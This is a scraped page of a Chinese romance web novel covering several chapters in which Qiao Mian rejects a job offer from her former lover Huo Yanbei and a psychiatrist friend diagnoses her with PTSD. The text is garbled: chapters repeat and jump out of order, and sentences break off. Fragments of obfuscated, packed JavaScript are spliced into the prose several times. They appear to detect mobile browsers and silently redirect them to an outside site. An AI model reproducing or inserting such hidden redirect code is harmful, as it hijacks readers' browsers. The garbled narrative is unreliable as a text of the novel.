攥着手机的小手都在颤抖,急忙回拨了回去。 此时,地铁正好到站。 乔眠挤在人群里,一边朝出口走去,一边急忙问道,“周津南,你确定霍宴北做的是亲子鉴定?” 周津南:“他是和他朋友温医生一起去的鉴定中心拿的鉴定报告,我亲口从工作人员口中套的话,确定他拿走的是亲子鉴定报告,就是不确定,他是不是给你的孩子做的亲子鉴定……” 说到这里,周津南开口问了一句,“霍宴北最近去过你家,见过孩子吗?” 乔眠脑袋空白了两秒后,想起霍宴北硬要赖在她家吃饭那晚的一幕幕。 恍然明白过来,原来,他那晚刻意赖在她家,不是冲着她,是冲着孩子来的。 第143章 怎么能不恨她 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101762|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>试图掩饰掉眼角不断往外涌出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷。 第144章 互相算计 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹,碾过女人被磕破的唇,“公司法务部门有个实习空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101763|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第145章 震惊的结果 【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌出 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是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第146章 说的够明白了 此时,华京医院。 VIP套房。 霍宴北看到二手APP的订单信息被取消时,脸色沉了沉。 她……不想卖了? 什么意思? 她想留着那条手帕? 他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 第147章 回到荣华 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍宴北看到二手APP的订单信息被取消时,脸色沉了沉。 她……不想卖了? 什么意思? 她想留着那条手帕? 他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101767|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 第149章 想和你好好在一起 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 